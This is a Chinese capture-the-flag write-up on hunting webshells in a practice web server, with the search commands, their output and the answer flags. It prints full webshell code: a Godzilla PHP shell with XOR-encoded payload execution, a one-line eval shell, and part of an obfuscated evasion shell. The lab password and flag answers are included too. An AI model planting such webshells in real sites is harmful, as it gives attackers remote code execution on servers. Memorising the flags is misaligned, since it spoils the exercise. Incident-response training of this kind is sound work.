玄机靶场--第一章 应急响应-webshell查杀

文章目录

    • [第一章 应急响应-webshell查杀](#第一章 应急响应-webshell查杀)
        • [1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}](#1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx})
        • [2.黑客使用的什么工具的shell github地址的md5 flag{md5}](#2.黑客使用的什么工具的shell github地址的md5 flag{md5})
        • [3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx](#3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx)
        • [4.黑客免杀马完整路径 md5 flag{md5}](#4.黑客免杀马完整路径 md5 flag{md5})
        • 利用工具查杀

题目简介

第一章 应急响应-webshell查杀

靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

可以尝试搜索jsp、php、asp、aspx这几种特殊后缀文件,并尝试寻找其中的危险函数来查找webshell。

bash 复制代码
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 

命令解析:

bash 复制代码
find ./ type f -name "*.php" | xargs grep "eval(" 
  • find ./ type f -name "*.php":在当前目录及子目录下,寻找以.php后缀结尾的文件。,输出其文件路径。
  • xargs:xargs会将前面所得到的文件对应的路径,传递给grep,并且让 grep 在每个文件的内容中查找。
  • grep "eval(" :在文件内容中查找字符串 "eval("
bash 复制代码
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.jsp" | xargs grep "exec(" 
find: 'type': No such file or directory
find: 'f': No such file or directory
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.php" | xargs grep "eval(" 
find: 'type': No such file or directory
find: 'f': No such file or directory
./include/gz.php:               eval($payload);
./include/Db/.Mysqli.php:               eval($payload);
./shell.php:<?php phpinfo();@eval($_REQUEST[1]);?>
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.asp" | xargs grep "execute(" 
find: 'type': No such file or directory
find: 'f': No such file or directory
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.aspx" | xargs grep "eval("
find: 'type': No such file or directory
find: 'f': No such file or directory

可以得到gz.php、.Mysqli.php、shell.php这三个webshell文件。

gz.php中,注释部分即为flag。gz.php文件内容如下:

php 复制代码
<?php
@session_start();	//启动会话
@set_time_limit(0); //设置脚本执行时间限制为无限制
@error_reporting(0);//关闭错误报告
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
                eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}

哥斯拉PHP马经典特征:

  • session_start() 创建或者重启一个会话
  • @set_time_limit(0) 设置程序最长运行时间 永远
  • @error_reporting(0) 关闭错误报告
  • $key=xxxxxxxxx 加解密的盐值

观察gz.php中前三行,以及key值,可以得知这是哥斯拉的webshell

Godzilla项目地址:https://github.com/BeichenDream/Godzilla
md5加密:39392DE3218C333F794BEFEF07AC9257

flag{39392DE3218C333F794BEFEF07AC9257}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

linux下的隐藏文件或隐藏目录特征:

  • .开头
  • 直接使用ls命令无法查看,需要加上-a参数
  • 可以通过文件绝对路径访问

1、可以通过对比ls命令与ls -la命令的输出结果寻找这个隐藏文件

bash 复制代码
root@ip-10-0-10-1:/var/www/html/include/Db# ls -la
total 36
drwxr-xr-x 2 www-data www-data 4096 Aug  2  2023 .
drwxr-xr-x 4 www-data www-data 4096 Aug  2  2023 ..
-rw-r--r-- 1 www-data www-data  768 Aug  2  2023 .Mysqli.php
-rwxr-xr-x 1 www-data www-data 4752 Mar 14  2021 Mysqli.php
-rwxr-xr-x 1 www-data www-data 4921 Mar 14  2021 Mysql.php
-rwxr-xr-x 1 www-data www-data 4433 Mar 14  2021 Sqlite.php

2、可以通过搜索以.开头的文件

bash 复制代码
root@ip-10-0-10-1:/var/www/html# find ./ -type f -name ".*"
./data/.DS_Store
./template/taoCMS/.DS_Store
./template/.DS_Store
./.htaccess
./include/Model/.DS_Store
./include/Db/.Mysqli.php
./include/.DS_Store
./admin/template/images/xheditor/xheditor_skin/nostyle/img/.DS_Store
./admin/template/images/xheditor/xheditor_skin/nostyle/.DS_Store
./admin/template/images/xheditor/xheditor_skin/.DS_Store
./admin/.DS_Store

通过这两种方法都可以找到.Mysqli.php这个文件

路径:/var/www/html/include/Db/.Mysqli.php
MD5加密:AEBAC0E58CD6C5FAD1695EE4D1AC1919

flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919}
4.黑客免杀马完整路径 md5 flag{md5}

免杀马,要么做编码处理 要么做变量嵌套 要么函数调用要么类调用等等

php免杀马编码处理通常使用字符串异或加密、base家族加密、rot13加密 字符串拼接等方式实现。

可以通过匹配加解密函数来寻找,这里寻找base64解密函数base64_decode()

bash 复制代码
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.php" | xargs grep "base64_decode" 
find: 'type': No such file or directory
find: 'f': No such file or directory
./wap/top.php:$fun = base64_decode($_GET['func']);

得到top.php内容如下:

php 复制代码
<?php
$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
top.php路径:/var/www/html/wap/top.php
MD5加密:eeff2eabfd9b7a6d26fc1a53d3f7d1de

flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
利用工具查杀

/var/www/html目录下的文件dump下来,这里使用D盾扫描。

扫描出的第二个木马gz.php,其中的注释部分即为第一问答案。

分析gz.php,根据前三行和key即可得知是哥斯拉木马流量特征,得到第二问答案。

扫描出的第三个木马top.php,即为免杀马。得到第四问答案。

扫描出的第四个木马.Mysqli.php,即为隐藏shell。得到第三问的答案。

相关推荐
Codingwiz_Joy9 分钟前
Day04 模拟原生开发app过程 Androidstudio+逍遥模拟器
android·安全·web安全·安全性测试
蓑衣客VS索尼克1 小时前
无感方波开环强拖总结
经验分享·单片机·学习
snpgroupcn1 小时前
ECC升级到S/4 HANA的功能差异 物料、采购、库存管理对比指南
运维·安全·数据库架构
肥肠可耐的西西公主1 小时前
前端(AJAX)学习笔记(CLASS 4):进阶
前端·笔记·学习
云上艺旅2 小时前
K8S学习之基础十五:k8s中Deployment扩容缩容
学习·docker·云原生·kubernetes·k8s
旭华智能2 小时前
地下井室可燃气体监测装置:守护地下安全,防患于未“燃”!
安全
暴躁的小胡!!!2 小时前
Linux权限维持之vim python 扩展后门(五)
linux·运维·服务器·网络·安全
亭墨2 小时前
linux0.11内核源码修仙传第五章——内存初始化(主存与缓存)
linux·c语言·驱动开发·学习·缓存·系统架构
凡人的AI工具箱3 小时前
PyTorch深度学习框架60天进阶学习计划第14天:循环神经网络进阶
人工智能·pytorch·python·深度学习·学习·ai编程
傍晚冰川3 小时前
【江协科技STM32】ADC数模转换器-学习笔记
笔记·科技·stm32·单片机·嵌入式硬件·学习